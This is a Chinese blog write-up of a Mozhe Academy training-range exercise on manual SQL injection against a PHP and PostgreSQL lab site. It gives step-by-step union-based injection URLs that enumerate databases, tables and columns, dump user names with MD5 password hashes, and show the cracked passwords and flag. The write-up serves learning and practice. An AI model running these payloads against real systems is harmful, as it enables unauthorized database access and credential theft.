SQL手工注入漏洞测试(PostgreSQL数据库)-墨者


---------靶场专栏---------


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

墨者学院

简介:

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;

2.了解手工注入的方法;

3.了解PostgreSQL的数据结构;

4.了解字符串的MD5加解密;

解题方向:

手工进行SQL注入测试,获取管理密码登录。


解题思路:

postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。

还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。


解题步骤:

一、验证注入点

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=1

页面显示正常

报错一下看看

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2

ok,那注入点就是在这里了。


二、order by猜列

确定了,四个字段。


三、测试回显

用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null

依次给每个null加上单引号。

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null

第二个和第三个位置有回显,接下来进行注入。


四、数据库信息获取

version()数据库版本

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null

PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit

current_user数据库用户

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null

postgres

current_database()数据库名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null

mozhedvcms


五、查数据

①查数据库名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

template1,template0,postgres,mozhedvcms

②查表名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables

notice,reg_users

③查列名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

id,name,password,status

④查数据

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

六、MD5解密登陆

(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)

(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)

mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9


总结:

难度:★★☆☆☆☆☆☆☆☆

分析:

很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。


相关推荐
缘来如此҉1 分钟前
Mysql数据库——增删改查CRUD
数据库·mysql·oracle
apihz24 分钟前
域名WHOIS信息查询免费API使用指南
android·开发语言·数据库·网络协议·tcp/ip
gwcgwcjava29 分钟前
[时序数据库-iotdb]时序数据库iotdb的安装部署
数据库·时序数据库·iotdb
SHUIPING_YANG44 分钟前
根据用户id自动切换表查询
java·服务器·数据库
爱吃烤鸡翅的酸菜鱼1 小时前
IDEA高效开发:Database Navigator插件安装与核心使用指南
java·开发语言·数据库·编辑器·intellij-idea·database
超奇电子1 小时前
阿里云OSS预签名URL上传与临时凭证上传的技术对比分析
数据库·阿里云·云计算
modelmd1 小时前
mysql not in 查询引发的bug问题记录
sql·mysql
神仙别闹1 小时前
基于C#+SQL Server实现(Web)学生选课管理系统
前端·数据库·c#
m0_653031361 小时前
PostgreSQL技术大讲堂 - 第97讲:PG数据库编码和区域(locale)答疑解惑
数据库·postgresql
会编程的林俊杰2 小时前
MySQL中的锁有哪些
数据库·mysql